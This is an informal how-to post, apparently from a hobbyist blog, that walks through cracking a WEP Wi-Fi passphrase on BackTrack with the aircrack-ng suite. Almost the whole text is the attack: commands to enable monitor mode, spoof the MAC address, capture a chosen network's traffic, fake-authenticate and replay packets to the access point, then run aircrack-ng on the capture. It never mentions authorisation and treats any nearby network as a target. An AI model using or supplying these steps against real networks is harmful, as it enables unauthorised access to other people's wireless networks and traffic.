Reqiurements
-->i used backtrack Os booted in vmware and alfa wireless cord to capture data.
--> the major flaw in WEP networks are they less secured and even the users are putting weak 8-10 charactered passphrases so its easy to crack compared to WPA/WPA2
just follow my steps:
- open a new terminal and type the following : airmon-ng
- then you will get the interface connected to your computer such as "wlan0,wlan1,fire0.. something like that"
- then next : 'airmon-ng stop wlan0' or whatever interface you get right now my interface is wlan0 !
- ->> ifconfig wlan0 down.
- ->> macchanger --mac 00:11:22:33:44:66 wlan0
- ->> airmon-ng start wlan0
- so, now monitor mode(called mon0) is enabled for my interface wlan0.
- scanning networks ->> airodump-ng mon0
- you can stop this scan at any moment when your required network is found by pressing ctrl+c
- Now , choose a network and copy its bssid and channel number . airodump-ng -c <channel number> -w <file name to save> --bssid <<bssid>> mon0
- open a new terminal and : aireplay-ng -1 0 -a <<bssid>> -h 00:11:22:33:44:66 mon0
- now if it shows : 'authentication successful' then you can go further or else you need to get closer to wifi or try to crack the password later.
- now in the same authenticated terminal ->> aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b <<bssid>> -h 00:11:22:33:44:66 mon0
- finally : open new terminal ->> aircrack-ng -b <<bssid>> /root/<file name you saved>-01.cap
- that's it sit back for a while and password will be cracked ;-)
